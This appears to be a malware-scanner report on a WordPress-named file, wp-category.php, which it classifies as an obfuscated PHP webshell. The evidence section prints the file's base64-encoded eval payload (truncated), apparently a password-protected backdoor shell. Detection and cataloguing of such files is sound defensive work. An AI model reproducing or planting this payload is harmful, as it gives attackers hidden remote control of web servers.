Suspicious ^80% awesome-malware Download

wp-category.php

Obfuscated PHP webshell

Evaluates base64 or ROT13 decoder outputPHP execution calls with encoded-looking content

SHA-25605f57309089f03b23063023aa8f955fa7478873ba1730baabbf244e238566b39

Evidence

Evaluates base64 or ROT13 decoder output lines 1–2

1<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicucmF3dXJsZW5jb2RlKCRhcnJheSkuJyInOw0KICAgIGlmIChpc19udW1lcmljKCRhcnJheSkpIHJldHVybiAkYXJyYXk7DQogICAgaWYgKCRhcnJheSA9PT0gbnVsbCkgcmV0dXJuICdudWxsJzsNCiAgICBpZiAoJGFycmF5ID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgIGlmICgkYXJyYXkgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCg0KICAgICRhc3NvYyA9IGZhbHNlOw0KICAgICRpID0gMDsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgaWYgKCRrICE9PSAkaSsrKXsNCiAgICAgICAgICAgICRhc3NvYyA9IHRydWU7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcmVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgJHYgPSBhcnJheV90b19qc29uKCR2KTsNCiAgICAgICAgaWYgKCRhc3NvYyl7DQogICAgICAgICAgICAkayA9ICciJy5yYXd1cmxlbmNvZGUoJGspLiciJzsNCiAgICAgICAgICAgICR2ID0gJGsuJzonLiR2Ow0KICAgICAgICB9DQogICAgICAgICRyZXNbXSA9ICR2Ow0KICAgIH0NCiAgICAkcmVzID0gaW1wbG9kZSgnLCcsICRyZXMpOw0KICAgIHJldHVybiAoJGFzc29jKT8gJ3snLiRyZXMuJ30nIDogJ1snLiRyZXMuJ10nOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmRlZmluZSgnU0hFTExfUEFTU1dPUkQnLCAnYTZhOGNiODc3ZWUxODIxNWYyYzBmYzJhNmM3YjRmMmEnKTsNCmRlZmluZSgnTUFYX1VQX0xFVkVMUycsIDEwKTsNCg0KaWYoKGVtcHR5KCRfQ09PS0lFWydwYXNzd29yZCddKSAmJiBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB8fCAoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgIT0gU0hFTExfUEFTU1dPUkQpKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uJyI+UGFzc3dvcmQgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSg …
2<?php /*a,b,c,d,e,f,g,h,i,j,k,a,b,c,d,e,f,g,h,i,j,k,*/ ?>